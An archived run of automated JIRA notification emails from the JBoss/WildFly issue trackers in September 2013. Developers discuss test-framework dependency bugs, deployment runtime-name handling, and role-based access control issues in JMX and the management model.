>         at org.jboss.remoting3.remote.RemoteConnectionHandler.handleConnectionClose(RemoteConnectionHandler.java:103)
>         at org.jboss.remoting3.remote.RemoteReadListener.handleEvent(RemoteReadListener.java:78)
>         at org.jboss.remoting3.remote.RemoteReadListener.handleEvent(RemoteReadListener.java:45)
>         at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:72)
>         at org.xnio.channels.TranslatingSuspendableChannel.handleReadable(TranslatingSuspendableChannel.java:189)
>         at org.xnio.channels.TranslatingSuspendableChannel$1.handleEvent(TranslatingSuspendableChannel.java:103)
>         at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:72)
>         at org.xnio.channels.TranslatingSuspendableChannel.handleReadable(TranslatingSuspendableChannel.java:189)
>         at org.xnio.ssl.JsseConnectedSslStreamChannel.handleReadable(JsseConnectedSslStreamChannel.java:180)
>         at org.xnio.channels.TranslatingSuspendableChannel$1.handleEvent(TranslatingSuspendableChannel.java:103)
>         at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:72)
>         at org.xnio.nio.NioHandle.run(NioHandle.java:90)
>         at org.xnio.nio.WorkerThread.run(WorkerThread.java:184)
> {code}
> Maybe this could be connected with AS7 testsuite problem:
> https://issues.jboss.org/browse/AS7-4185

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Wed Sep 11 11:38:03 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Wed, 11 Sep 2013 11:38:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2048) Subsystem testing framework
 uses incorrect subsystem dependencies for old versions
In-Reply-To: <JIRA.12500500.1378904407000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500500.1378904407000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500500.1378904407000.21401.1378913883834@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2048?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar updated WFLY-2048:
------------------------------

    Fix Version/s: 8.0.0.Beta1

    
> Subsystem testing framework uses incorrect subsystem dependencies for old versions
> ----------------------------------------------------------------------------------
>
>                 Key: WFLY-2048
>                 URL: https://issues.jboss.org/browse/WFLY-2048
>             Project: WildFly
>          Issue Type: Bug
>          Components: Test Suite
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Paul Ferraro
>            Assignee: Tomaz Cerar
>             Fix For: 8.0.0.Beta1
>
>
> When upgrading to Infinispan 6.0, I had to @Ignore the following test:
> org.jboss.as.clustering.infinispan.subsystem.InfinispanSubsystemTransformerTestCase
> The subsystem test framework attempt to run old versions of the infinispan subsystem against the dependencies of the current subsystem version.
> On another note - I find this framework very cumbersome to debug when things go wrong since there is no output from starting the server.  So, all I know is it failed, without any indication why.  In my case, I add debug logging to the add operation handler and find that the add operation handlers throw NoClassDefFoundErrors and NoSuchMethodErrors, due to the framework attempting to use the 7.2 and 7.1.x versions of the subsystem with the dependencies from 8.0.  In the case of Infinispan 6.0, there are API changes that render it incompatible with the 7.2 and 7.1.x versions of the subsystem.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 12:25:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 11 Sep 2013 12:25:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1521) Deployment runtime-name is
 not being handled properly
In-Reply-To: <JIRA.12494184.1371128111000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494184.1371128111000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494184.1371128111000.21551.1378916703966@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1521?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803589#comment-12803589 ] 

RH Bugzilla Integration commented on WFLY-1521:
-----------------------------------------------

wfink at redhat.com made a comment on [bug 964446|https://bugzilla.redhat.com/show_bug.cgi?id=964446]


                
> Deployment runtime-name is not being handled properly
> -----------------------------------------------------
>
>                 Key: WFLY-1521
>                 URL: https://issues.jboss.org/browse/WFLY-1521
>             Project: WildFly
>          Issue Type: Feature Request
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Bartosz Baranowski
>            Assignee: Bartosz Baranowski
>             Fix For: 8.0.0.Alpha4
>
>
> In case archive is deployed with runtime name that does not match archive name, it breaks CLI/GUI commands.
> [standalone at localhost:9999 /] deploy --runtime-name=nnn.ear /home/baranowb/redhat/git/jboss-as-quickstart/ejb-in-ear/ear/target/jboss-as-ejb-in-ear-ear-xxxx.ear
> [standalone at localhost:9999 /] /deployment=jboss-as-ejb-in-ear-ear-xxxx.ear/subdeployment=jboss-as-ejb-in-ear-ejb.jar/subsystem=ejb3/stateful-session-bean=GreeterEJB:read-resource(include-runtime=true)
> {
>     "outcome" => "failed",
>     "rolled-back" => true
> }
> 14:05:23,235 ERROR [org.jboss.as.controller.management-operation] (management-handler-thread - 3) JBAS014612: Operation ("read-attribute") failed - address: ([
>     ("deployment" => "jboss-as-ejb-in-ear-ear-xxxx.ear"),
>     ("subdeployment" => "jboss-as-ejb-in-ear-ejb.jar"),
>     ("subsystem" => "ejb3"),
>     ("stateful-session-bean" => "GreeterEJB")
> ]): org.jboss.msc.service.ServiceNotFoundException: Service service jboss.deployment.subunit."jboss-as-ejb-in-ear-ear-xxxx.ear"."jboss-as-ejb-in-ear-ejb.jar".component.GreeterEJB.START not found
>         at org.jboss.msc.service.ServiceContainerImpl.getRequiredService(ServiceContainerImpl.java:448) [jboss-msc-1.0.4.GA.jar:1.0.4.GA]
>         at org.jboss.as.controller.OperationContextImpl$OperationContextServiceRegistry.getRequiredService(OperationContextImpl.java:1068) [jboss-as-controller-7.2.2-internal-SNAPSHOT.jar:7.2.2-internal-SNAPSHOT]
>         at org.jboss.as.ejb3.subsystem.deployment.AbstractRuntimeMetricsHandler.executeRuntimeStep(AbstractRuntimeMetricsHandler.java:69)
>         at 
> ....
> However some seem unaffected:
> [standalone at localhost:9990 /] /deployment=jboss-as-ejb-in-ear-ear-xxxx.ear:read-resource
> {
>     "outcome" => "success",
>     "result" => {
>         "content" => [{"hash" => bytes {
>             0x5c, 0x22, 0x14, 0x99, 0xff, 0x23, 0x45, 0xfc,
>             0x15, 0xaf, 0x1b, 0x97, 0x8c, 0x14, 0x75, 0x06,
>             0xa2, 0xeb, 0xfb, 0x58
>         }}],
>         "enabled" => true,
>         "name" => "jboss-as-ejb-in-ear-ear-xxxx.ear",
>         "persistent" => true,
>         "runtime-name" => "nnn.ear",
>         "subsystem" => undefined,
>         "subdeployment" => {
>             "jboss-as-ejb-in-ear-web.war" => undefined,
>             "jboss-as-ejb-in-ear-ejb.jar" => undefined
>         }
>     }
> }
> [standalone at localhost:9990 /] 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 12:27:03 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Wed, 11 Sep 2013 12:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2040) RBAC + JMX: auditor can't
 read sensitive non-core MBeans
In-Reply-To: <JIRA.12500404.1378817677000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500404.1378817677000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500404.1378817677000.21557.1378916823588@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2040?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803591#comment-12803591 ] 

Kabir Khan commented on WFLY-2040:
----------------------------------

[~lthon]
I have some WIP at https://github.com/kabir/wildfly/compare/rbac-jmx-WFLY-2040?expand=1.

I tried enabling the writeOperation() call in AbstractJmxNonCoreMBeansSensitivityTestCase and added some printlns to getAttribute() and setAttribute() in PluggableMBeanServerImpl. Now the weird thing is that it fails for some of the tests, and passes for others, however the setAttribute() printlns are never shows. I guess there is something happening in the remoting jmx protocol, but I'm unable to get the sources since nexus is playing up at the moment so I cannot debug it.

I think that extraSensitiveOperation() is wrong, only the ones in PluggableMBeanServerImpl calling authorizeSuperUserOrAdministrator() are extra sensitive.
                
> RBAC + JMX: auditor can't read sensitive non-core MBeans
> --------------------------------------------------------
>
>                 Key: WFLY-2040
>                 URL: https://issues.jboss.org/browse/WFLY-2040
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, JMX
>            Reporter: Ladislav Thon
>            Assignee: Kabir Khan
>              Labels: rbac-filed-by-qa
>
> If I set non-core MBeans to be sensitive, like
> {code:xml}
> <subsystem xmlns="urn:jboss:domain:jmx:1.3">
>     <expose-resolved-model/>
>     <expose-expression-model/>
>     <remoting-connector/>
>     <sensitivity non-core-mbeans="true"/>
> </subsystem>
> {code}
> then I expect all roles that can read sensitive data (administrator, auditor, superuser) to be able to read non-core MBeans too. This is currently broken, as only administrator and superuser can read non-core MBeans, auditor cannot. I have a test case for this that I will submit later, but the important part is:
> {code}
> boolean successExpected = ...; // 'true' for auditor
> MBeanServerConnection connection = ...;
> ObjectName domain = new ObjectName("java.lang:type=OperatingSystem");
> try {
>     Object attribute = connection.getAttribute(domain, "Name");
>     assertTrue("Failure was expected", successExpected);
>     assertEquals(System.getProperty("os.name"), attribute.toString());
> } catch (IOException e) {
>     if (e.getCause() instanceof RuntimeMBeanException && e.getCause().getMessage().contains("11360")) {
>         assertFalse("Success was expected but failure happened: " + e, successExpected);
>     } else {
>         throw e;
>     }
> }
> {code}
> Please note that I'm speaking about _reading_ sensitive data, which, if I understand correctly, auditor _can_ do.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 13:03:03 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Wed, 11 Sep 2013 13:03:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-68) ClientConnection should
 propagate RuntimeMBeanException
In-Reply-To: <JIRA.12500534.1378918883904@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500534.1378918883904@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500534.1378918883904.21734.1378918983447@jira02.app.mwc.hst.phx2.redhat.com>

Kabir Khan created REMJMX-68:
--------------------------------

             Summary: ClientConnection should propagate RuntimeMBeanException
                 Key: REMJMX-68
                 URL: https://issues.jboss.org/browse/REMJMX-68
             Project: Remoting JMX
          Issue Type: Feature Request
    Affects Versions: 2.0.0.CR1
            Reporter: Kabir Khan
            Assignee: Darran Lofthouse
             Fix For: 2.0.0.CR2


It currently wraps these in an IOException. JMX Rbac uses RuntimeMBeanException for authorization failures.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 13:05:03 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Wed, 11 Sep 2013 13:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-68) ClientConnection should
 propagate RuntimeMBeanException
In-Reply-To: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500534.1378918883000.21740.1378919103552@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/REMJMX-68?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803612#comment-12803612 ] 

Kabir Khan commented on REMJMX-68:
----------------------------------

https://github.com/jbossas/remoting-jmx/pull/11
                
> ClientConnection should propagate RuntimeMBeanException
> -------------------------------------------------------
>
>                 Key: REMJMX-68
>                 URL: https://issues.jboss.org/browse/REMJMX-68
>             Project: Remoting JMX
>          Issue Type: Feature Request
>    Affects Versions: 2.0.0.CR1
>            Reporter: Kabir Khan
>            Assignee: Darran Lofthouse
>             Fix For: 2.0.0.CR2
>
>
> It currently wraps these in an IOException. JMX Rbac uses RuntimeMBeanException for authorization failures.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 13:07:04 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Wed, 11 Sep 2013 13:07:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2040) RBAC + JMX: auditor can't
 read sensitive non-core MBeans
In-Reply-To: <JIRA.12500404.1378817677000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500404.1378817677000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500404.1378817677000.21751.1378919224161@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2040?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803614#comment-12803614 ] 

Kabir Khan commented on WFLY-2040:
----------------------------------

I rebuilt remoting jmx, and the problem seems to be REMJMX-68 for which I opened https://github.com/jbossas/remoting-jmx/pull/11.

This will change things a bit for your tests since authorization failures throw an MBeanRuntimeException on the server, which was incorrectly propagated as IOException. 
                
> RBAC + JMX: auditor can't read sensitive non-core MBeans
> --------------------------------------------------------
>
>                 Key: WFLY-2040
>                 URL: https://issues.jboss.org/browse/WFLY-2040
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, JMX
>            Reporter: Ladislav Thon
>            Assignee: Kabir Khan
>              Labels: rbac-filed-by-qa
>
> If I set non-core MBeans to be sensitive, like
> {code:xml}
> <subsystem xmlns="urn:jboss:domain:jmx:1.3">
>     <expose-resolved-model/>
>     <expose-expression-model/>
>     <remoting-connector/>
>     <sensitivity non-core-mbeans="true"/>
> </subsystem>
> {code}
> then I expect all roles that can read sensitive data (administrator, auditor, superuser) to be able to read non-core MBeans too. This is currently broken, as only administrator and superuser can read non-core MBeans, auditor cannot. I have a test case for this that I will submit later, but the important part is:
> {code}
> boolean successExpected = ...; // 'true' for auditor
> MBeanServerConnection connection = ...;
> ObjectName domain = new ObjectName("java.lang:type=OperatingSystem");
> try {
>     Object attribute = connection.getAttribute(domain, "Name");
>     assertTrue("Failure was expected", successExpected);
>     assertEquals(System.getProperty("os.name"), attribute.toString());
> } catch (IOException e) {
>     if (e.getCause() instanceof RuntimeMBeanException && e.getCause().getMessage().contains("11360")) {
>         assertFalse("Success was expected but failure happened: " + e, successExpected);
>     } else {
>         throw e;
>     }
> }
> {code}
> Please note that I'm speaking about _reading_ sensitive data, which, if I understand correctly, auditor _can_ do.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 13:11:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 11 Sep 2013 13:11:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-68) ClientConnection should
 propagate RuntimeMBeanException
In-Reply-To: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500534.1378918883000.21765.1378919463535@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/REMJMX-68?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated REMJMX-68:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1007001

    
> ClientConnection should propagate RuntimeMBeanException
> -------------------------------------------------------
>
>                 Key: REMJMX-68
>                 URL: https://issues.jboss.org/browse/REMJMX-68
>             Project: Remoting JMX
>          Issue Type: Feature Request
>    Affects Versions: 2.0.0.CR1
>            Reporter: Kabir Khan
>            Assignee: Darran Lofthouse
>             Fix For: 2.0.0.CR2
>
>
> It currently wraps these in an IOException. JMX Rbac uses RuntimeMBeanException for authorization failures.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 13:11:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 11 Sep 2013 13:11:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-68) ClientConnection should
 propagate RuntimeMBeanException
In-Reply-To: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500534.1378918883000.21768.1378919463631@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/REMJMX-68?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803617#comment-12803617 ] 

RH Bugzilla Integration commented on REMJMX-68:
-----------------------------------------------

Kabir Khan <kkhan at redhat.com> made a comment on [bug 1007001|https://bugzilla.redhat.com/show_bug.cgi?id=1007001]

Description of problem:


Version-Release number of selected component (if applicable):


How reproducible:


Steps to Reproduce:
1.
2.
3.

Actual results:


Expected results:


Additional info:
                
> ClientConnection should propagate RuntimeMBeanException
> -------------------------------------------------------
>
>                 Key: REMJMX-68
>                 URL: https://issues.jboss.org/browse/REMJMX-68
>             Project: Remoting JMX
>          Issue Type: Feature Request
>    Affects Versions: 2.0.0.CR1
>            Reporter: Kabir Khan
>            Assignee: Darran Lofthouse
>             Fix For: 2.0.0.CR2
>
>
> It currently wraps these in an IOException. JMX Rbac uses RuntimeMBeanException for authorization failures.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 13:13:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 11 Sep 2013 13:13:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-68) ClientConnection should
 propagate RuntimeMBeanException
In-Reply-To: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500534.1378918883000.21788.1378919584727@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/REMJMX-68?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803621#comment-12803621 ] 

RH Bugzilla Integration commented on REMJMX-68:
-----------------------------------------------

Darran Lofthouse <darran.lofthouse at redhat.com> changed the Status of [bug 1007001|https://bugzilla.redhat.com/show_bug.cgi?id=1007001] from NEW to ASSIGNED
                
> ClientConnection should propagate RuntimeMBeanException
> -------------------------------------------------------
>
>                 Key: REMJMX-68
>                 URL: https://issues.jboss.org/browse/REMJMX-68
>             Project: Remoting JMX
>          Issue Type: Feature Request
>    Affects Versions: 2.0.0.CR1
>            Reporter: Kabir Khan
>            Assignee: Darran Lofthouse
>             Fix For: 2.0.0.CR2
>
>
> It currently wraps these in an IOException. JMX Rbac uses RuntimeMBeanException for authorization failures.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 13:13:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 11 Sep 2013 13:13:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-68) ClientConnection should
 propagate RuntimeMBeanException
In-Reply-To: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500534.1378918883000.21785.1378919584555@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/REMJMX-68?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803620#comment-12803620 ] 

RH Bugzilla Integration commented on REMJMX-68:
-----------------------------------------------

Darran Lofthouse <darran.lofthouse at redhat.com> made a comment on [bug 1007001|https://bugzilla.redhat.com/show_bug.cgi?id=1007001]

Although may go straight to Final
                
> ClientConnection should propagate RuntimeMBeanException
> -------------------------------------------------------
>
>                 Key: REMJMX-68
>                 URL: https://issues.jboss.org/browse/REMJMX-68
>             Project: Remoting JMX
>          Issue Type: Feature Request
>    Affects Versions: 2.0.0.CR1
>            Reporter: Kabir Khan
>            Assignee: Darran Lofthouse
>             Fix For: 2.0.0.CR2
>
>
> It currently wraps these in an IOException. JMX Rbac uses RuntimeMBeanException for authorization failures.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 14:20:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Wed, 11 Sep 2013 14:20:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2050) Ensure there is proper trace
 level logging for all RBAC decisions
In-Reply-To: <JIRA.12500540.1378923553832@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500540.1378923553832@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500540.1378923553832.22098.1378923603393@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created WFLY-2050:
--------------------------------------

             Summary: Ensure there is proper trace level logging for all RBAC decisions
                 Key: WFLY-2050
                 URL: https://issues.jboss.org/browse/WFLY-2050
             Project: WildFly
          Issue Type: Sub-task
          Components: Domain Management
            Reporter: Brian Stansberry
            Assignee: Brian Stansberry
             Fix For: 8.0.0.CR1


Need trace logging of

1) Role mapping decisions
2) Constraint violations
3) Permission failures

Darran already did the role mapping stuff for at least the main rbac mapper; I need to double check the simple mapper and the RunAsRoleMapper. Most of the constraint violation stuff is done as well; perhaps all.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 14:22:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Wed, 11 Sep 2013 14:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1866) More useful access control
 failure messages
In-Reply-To: <JIRA.12498442.1376348142000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498442.1376348142000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498442.1376348142000.22101.1378923723388@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1866?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry resolved WFLY-1866.
------------------------------------

    Fix Version/s:     (was: 8.0.0.CR1)
       Resolution: Won't Fix


We won't do this for WF 8 and perhaps never. Including details in failure messages risks leaking security sensitive information.

Thanks to John Doyle for pointing that out.

WFLY-2050 is the replacement for this. Users can use TRACE logging on the server side to analyze the cause of unexpected authorization issues.
                
> More useful access control failure messages
> -------------------------------------------
>
>                 Key: WFLY-1866
>                 URL: https://issues.jboss.org/browse/WFLY-1866
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Brian Stansberry
>
> The current RBAC implementation does not provide any information about the reason for an unauthorized decision, simply a "Permission denied" message.
> This should be reworked such that constraints can provide more information thus helping the user to understand the reason an action is not authorized.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 14:26:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Wed, 11 Sep 2013 14:26:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2029) access-type attribute
 description and access-control section
In-Reply-To: <JIRA.12500315.1378741350000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500315.1378741350000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500315.1378741350000.22106.1378923963583@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2029?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2029:
-----------------------------------

    Fix Version/s: 8.0.0.Beta1
                       (was: 8.0.0.CR1)

    
> access-type attribute description and access-control section
> ------------------------------------------------------------
>
>                 Key: WFLY-2029
>                 URL: https://issues.jboss.org/browse/WFLY-2029
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Alexey Loubyansky
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.Beta1
>
>
> <aloubyansky> bstansberry: i see that for attributes with access-type=read-only, the access-control section contains read=true, write=true
> <bstansberry> aloubyansky: can you file a JIRA, assigned to kabir, subtask of WFLY-490?
> <aloubyansky> bstansberry: you mean attribute's access-type and access-control section should be consistent?
> <bstansberry> aloubyansky: i mean you shouldn't have "write" as part of access control if the attribute isn't writable
> <bstansberry> aloubyansky: I definitely don't mean that the value of access-type should depend on access control

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 15:13:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Wed, 11 Sep 2013 15:13:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1980) Revisit priviledges for
 /core-service=management/access=authorization
In-Reply-To: <JIRA.12499752.1378119170000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499752.1378119170000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499752.1378119170000.22248.1378926783828@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1980?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803654#comment-12803654 ] 

Brian Stansberry commented on WFLY-1980:
----------------------------------------

This is simple. The constraint was only being applied to 1 attribute in the JMX subystem!
                
> Revisit priviledges for /core-service=management/access=authorization
> ---------------------------------------------------------------------
>
>                 Key: WFLY-1980
>                 URL: https://issues.jboss.org/browse/WFLY-1980
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> It seems the access control resources (/core-service=management/access=authorization) are addressable by the monitor role:
> {noformat}
> [standalone at localhost:9990 /] /core-service=management/access=authorization:read-resource(){roles=monitor}
> {
>     "outcome" => "success",
>     "result" => {
>         "provider" => "simple",
>         "use-realm-roles" => false,
>         "constraint" => {
>             "application-classification" => undefined,
>             "sensitivity-classification" => undefined,
>             "vault-expression" => undefined
>         },
>         "role-mapping" => {"SuperUser" => undefined}
>     }
> }
> {noformat}
> I think it should be 'addressable=false' for anybody except SuperUser and Administrator

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 15:17:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Wed, 11 Sep 2013 15:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1980) Revisit priviledges for
 /core-service=management/access=authorization
In-Reply-To: <JIRA.12499752.1378119170000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499752.1378119170000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499752.1378119170000.22267.1378927023307@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1980?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-1980:
-----------------------------------

        Parent: WFLY-490
    Issue Type: Sub-task  (was: Bug)

    
> Revisit priviledges for /core-service=management/access=authorization
> ---------------------------------------------------------------------
>
>                 Key: WFLY-1980
>                 URL: https://issues.jboss.org/browse/WFLY-1980
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> It seems the access control resources (/core-service=management/access=authorization) are addressable by the monitor role:
> {noformat}
> [standalone at localhost:9990 /] /core-service=management/access=authorization:read-resource(){roles=monitor}
> {
>     "outcome" => "success",
>     "result" => {
>         "provider" => "simple",
>         "use-realm-roles" => false,
>         "constraint" => {
>             "application-classification" => undefined,
>             "sensitivity-classification" => undefined,
>             "vault-expression" => undefined
>         },
>         "role-mapping" => {"SuperUser" => undefined}
>     }
> }
> {noformat}
> I think it should be 'addressable=false' for anybody except SuperUser and Administrator

--
